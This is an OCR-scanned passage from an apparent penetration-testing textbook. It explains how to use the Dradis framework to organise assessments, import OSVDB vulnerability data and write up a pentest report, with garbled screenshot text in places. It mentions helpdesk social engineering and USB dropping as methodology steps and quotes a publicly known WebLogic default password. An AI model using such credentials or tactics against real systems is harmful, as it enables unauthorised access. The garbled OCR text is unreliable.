=] usB Droppin . . o .
jP—.ﬁ e Call the helpdesk, attempt to gain access to account and password information
2] P Sanning
=] Part Scanning
4 | Vulnerabiities Mound
=] Defoult Pazswords Notes | Importnote... Attachments

The Dradis framework comes empty. However, in a few minutes’ time, you may add
nodes and subnodes to include anything you like. For example, as just shown, you may
add a node for your favorite methodology and a node for the vulnerabilities that you
found. This allows you to use the system as a kind of checklist for your team as they
work through the methodology. You may add notes for each node and upload attach-
ments to record artifacts and evidence of the findings.
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Export/Upload Plug-ins

A very important capability of Dradis is the ability to export and import. You may ex-
port reports in Word and HTML format. You may also export the entire database project
or just the template (without notes or attachments).

| export - |
Word export & =
Project export b As template
Html cxport Full project

Metaserver commit

This allows you to pre-populate the framework on subsequent assessments with your
favorite template.

Import Plug-ins
There are several import plug-ins available to parse and import external data:
e WikiMedia wiki Used to import data from your own wiki

e Vulnerability Database Used to import data from your own vulnerability
database

e OSVDB Used to import data from the Open Source Vulnerability Database

In order to use the OSVDB import plug-in, you need to first register at the OSVDB
website and obtain an API key. Next, you find and edit the osvdb_import.yml file in the
following folder:

C:\Users\<username goes here>\AppData\Roaming\dradis-2.5\server\config>

[E=1 o )
@Qv . ¢« AppData » Roaming » dradic-25 » cerver » config » - | 3 | seareh co nfig P
Organize * | | Open Share with = New folder =+ O @
=

_ 3 i MName Date modified Type Size T
.;gFa;:::::l)'Change "= environment.rb R-.E; Program 4KB
| public = | first_login.ba Text Document L KB
B Desktop | nessus_upload.yml YML Tile 1 KD
& Downloads _| nsvdh_importyml % YMI File 1KR

‘=) Recent Places o] project_management.ym| YML File 1KB L

o *= routes.rb Ruby Program 2KB T

= Libraries Ll V|flr.1d.b_import.)rml YML File 1 K:B |

= - | wiki_import.yml YML File 1KB -

&l MArirman +e

Inside that file, edit the API key line and place your key there:

# Please register an account in the OSVDB site to get your API key. Steps:
# 1. Create the account: http://osvdb.org/account/signup

# 2. Find your key in http://osvdb.org/api

API key: <your API key>
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Save the file and restart your Dradis server. Now, you should be able to import data
from the OSVDB site. At the bottom of the Dradis screen, click the Import tab. Select
the External Source of OSVDB. Select the Filter as General Search. Provide a Search For
string and press ENTER. It will take the OSVDB database a few seconds to return the re-
sults of the query. At this point, you can right-click the result you are interested in and
import it.

dradis v2.5.0 - logout | feedhack

| moort trom tie... ) expont -

o Bodbranch | @ () I "

External Source:  QSVDE Impuit Plugin (OSVDBInpuil 2.4.0) b
4 i—] Methodology
Fier: Generaliearch: General Search B
4 | Footorinting
15000k Hacking Saarch for; Default rassword
| Miaa
R Resuls: Titie: Deacription
2 9 Social Enginaering
“Jenone Nettiter Firmmware Lataut Persiete... temei aE i £
] UsE Dropping Appie Phone | IPod Touch Mutple .. 2] | ltems]# vuineratiity_ii107 3452104487 1 2classicaty
1 IP Scanning Cirmcs Webl ogic Admin Console 0 ificatinn demsi ifly_il 107887 1i

(2 Pust Scanning

HP Operations Manager cvwabuss ) amﬁn-.ns ftems}# vulerabilty_d1077040d4157M classification
4 =5 Vulerabillies Founid ___\?n} ;

) Melausk Passwninedss Holes | Tmport note_. | Allachmenls

Now, back on the Notes tab, you may modify the newly imported data as needed.

#|description]# &
By default, WehLogic mstalls with a defaull password . The “weblogic” accomit has a password of *weblogie”

which is publicly known and documented. This allows attackers to trivially access the program or system.

£[sohtiom] 4
Immediately after installation, change all default installed accounts to use a unique and secure password. When
possible, change default account names to custom names as well.

#[complete]#
70

m

il I '

Team Updates

The real magic of Dradis occurs when multiple users enter data at the same time. The
data is synchronized on the server, and users are prompted to refresh their screens to get
the latest data. Access may be granted to the client, enabling them to keep abreast of the
current status at all times. Later, when the assessment is done, a copy of the framework
database may be left with the client as part of the report. Goodbye, spreadsheets!

References

Dradis http://dradisframework.org
OSVDB signup http://osvdb.org/account/signup

Reporting the Results of a Penetration Test

What good is a penetration test if the client cannot decipher the results? Although the
reporting phase sometimes is seen as an afterthought, it is important to focus on this
phase and produce a quality product for the client.
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Format of the Report
The format of the report may vary, but the following items should be present:

e Table of contents

¢ Executive summary

¢ Methodology used

e Prioritized findings per business unit, group, department
e Finding
* Impact
e Recommendation

e Detailed records and screenshots in the appendix (back of report)

Presenting the findings in a prioritized manner is recommende